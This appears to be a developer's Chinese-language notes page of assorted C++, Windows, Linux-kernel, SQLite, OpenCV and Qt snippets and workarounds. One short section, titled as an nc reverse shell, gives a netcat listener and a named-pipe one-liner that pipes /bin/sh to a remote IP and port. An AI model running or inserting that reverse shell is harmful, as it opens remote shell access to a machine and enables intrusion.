几个有用的VC函数

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_CrtSetBreakAlloc(12683);
 
OutputDebugString("hi");
 
DebugBreak();
 
#define _CRTDBG_MAP_ALLOC
#include <crtdbg.h>
 
_CrtSetDbgFlag(_CrtSetDbgFlag(_CRTDBG_REPORT_FLAG) | _CRTDBG_LEAK_CHECK_DF);
_CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG);
 
#pragma warning(disable:4996)
#ifdef WIN32
#pragma message("message body")
#else
#warning "message body"
#endif 
Project->settings->C/C++->Preprocessor->Project options->/P
#define new new(_NORMAL_BLOCK, __FILE__, __LINE__)
sysdig -c spy_users
sed 's/^.\{22\}//'
\\.\pipe\com_1
quiet kgdbwait kgdboc=ttyS0,115200
echo g > /proc/sysrq-trigger
 
set auto-load safe-path .
gdb /usr/src/kernels/linux-2.6.32.27/vmlinux
(gdb) target remote /dev/ttyS0

nc反弹shell

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nc -lvvp 5555
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mknod /tmp/bp p
/bin/sh 0</tmp/bp | nc 192.168.1.38 5555 1>/tmp/bp
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#!/bin/bash
 
debugfs=/sys/kernel/debug
 
echo nop > $debugfs/tracing/current_tracer
echo 0 > $debugfs/tracing/tracing_on
echo $$ > $debugfs/tracing/set_ftrace_pid
echo function_graph > $debugfs/tracing/current_tracer
#replace test_proc_show by your function name
echo vfs_read > $debugfs/tracing/set_graph_function
echo 1 > $debugfs/tracing/tracing_on
 
exec "$@"

boa cgi reboot

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linux下，boa生成的cgi进程调用

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system("reboot");

是失效的，解决办法是，另起一root身份的侦听进程A，此cgi进程给进程A发msg，通知进程A进行system("reboot")调用。

拷贝构造函数中的vector成员

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以下代码在VC2013中运行报错，但在VC2017中运行良好，应该是VC2013的CArray类有BUG。

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#include <vector>
#include <string>
 
using namespace std;
 
void CMFCApplication2Dlg::OnBnClickedButton1()
{
	struct Tst01
	{
		vector<string> t01;
	};
 
	Tst01 tst01;
	tst01.t01.push_back("hi");
	CArray<Tst01, Tst01> arry;
	for (int i = 0; i < 10; i++)
	{
		arry.Add(tst01);
	}
	for (int i = 0; i < 10; i++)
	{
		Tst01 &node = arry.GetAt(i);
		Tst01 nNode(node);  // VC2013中此处报错
		printf("big is %s.\n", nNode.t01[0].c_str());
	}
}

sqlite数据库加密

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最好的解决方案是：

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git clone https://github.com/utelle/wxsqlite3.git

打开里面wxsqlite3\sqlite3secure\build目录下的对应VC工程文件，编译sqlite3shell项目，在wxsqlite3\sqlite3secure\bin-vc12\lib\debug下就为生成的sqlite3shell.exe

加密数据库：

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sqlite3shell.exe example.db
sqlite> pragma rekey=123456;
sqlite> .exit

读取数据库：

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sqlite3shell.exe example.db
sqlite> pragma key=123456;   <-- 这条语句必须在打开数据库后作为第一条语名执行
sqlite> select * from table1;

自已写的程序中一打开数据库db_，就加一句：

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sqlite3_key(db_, "123456", 6);

opencv保存内存位图数据到文件

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#include <opencv2/opencv.hpp>
 
#ifdef _DEBUG
#pragma comment(lib, "opencv_highgui249d.lib")
#pragma comment(lib, "opencv_core249d.lib")
#pragma comment(lib, "opencv_calib3d249d.lib")
#pragma comment(lib, "opencv_imgproc249d.lib")
#else
#pragma comment(lib, "opencv_highgui249.lib")
#pragma comment(lib, "opencv_core249.lib")
#pragma comment(lib, "opencv_calib3d249.lib")
#pragma comment(lib, "opencv_imgproc249.lib")
#endif
 
Mat mat(iHeight, iWidth, CV_8UC3, pData);
Mat yuvMat;
cvtColor(mat, yuvMat, CV_RGB2YUV);
imwrite(path, yuvMat);

No such method QQuickText::setText(QString)

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bool bRet = QMetaObject::invokeMethod(textLabel, "setText", Q_ARG(QString, "world hello"));

执行这句会报如下错误：

QMetaObject::invokeMethod: No such method QQuickText::setText(QString)

原因是在QQuickText对应的头文件，比如在C:\Qt\5.6.3\msvc2013\include\QtQuick\5.6.3\QtQuick\private\qquicktext_p.h中，setText方法定义前没有Q_INVOKABLE宏。

正确调用QQuickText::setText的方式是：

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textLabel->setProperty("text", "hi, bingo");

std function 调用成员函数的两种方式

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#include <functional>
 
class Test124 {
public:
	int Sum(int x, int y) {
		return x + y;
	}
};
 
int main()
{
	Test124 testObj;
 
	// functional1 can be defined using 'auto' keyword instead
	std::function<int(int, int)> functional1 = std::bind(&Test124::Sum, testObj,
		std::placeholders::_1, std::placeholders::_2);
	int result1 = functional1(1, 2);
 
	// functional2 can not be defined using 'auto' keyword instead
	std::function<int(Test124, int, int)> functional2 = &Test124::Sum;
	int result2 = functional2(testObj, 1, 2);
 
	return 1;
}

ON_SCOPE_GUARD

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class ScopeExit {
public:
	ScopeExit() = default;
 
	ScopeExit(const ScopeExit&) = delete;
	void operator=(const ScopeExit&) = delete;
 
	ScopeExit(ScopeExit&&) = default;
	ScopeExit& operator=(ScopeExit&&) = default;
 
	template <typename F, typename... Args>
	ScopeExit(F&& f, Args&&... args) {
		func_ = std::bind(std::forward<F>(f), std::forward<Args>(args)...);
	}
 
	~ScopeExit() {
		if (func_) {
			func_();
		}
	};
 
private:
	std::function<void()> func_;
};
 
#define _SCOPE_CONCAT(a, b) a##b
#define _SCOPE_MAKE_SCOPE_(line) ScopeExit _SCOPE_CONCAT(defer, line) = [&]()
 
#undef ON_SCOPE_GUARD
#define ON_SCOPE_GUARD _SCOPE_MAKE_SCOPE_(__LINE__)
 
int main()
{
	FILE* fp = fopen("d:/aa.txt", "w+");
 
	ON_SCOPE_GUARD {
		fclose(fp);
	};
 
	fprintf(fp, "hello, file system.\n");
	return 1;
}

非控制台程序中显示控制台

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void init()
{
	AllocConsole();
	freopen("CONIN$", "r+t", stdin);
	freopen("CONOUT$", "r+t", stdout);
}
 
void fini()
{
	// FreeConsole();
}

HWND绑定用户数据

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hWnd = CreateWindow(...);
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)12345);
 
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	LONG_PTR pData = GetWindowLongPtr(hWnd, GWLP_USERDATA);
	...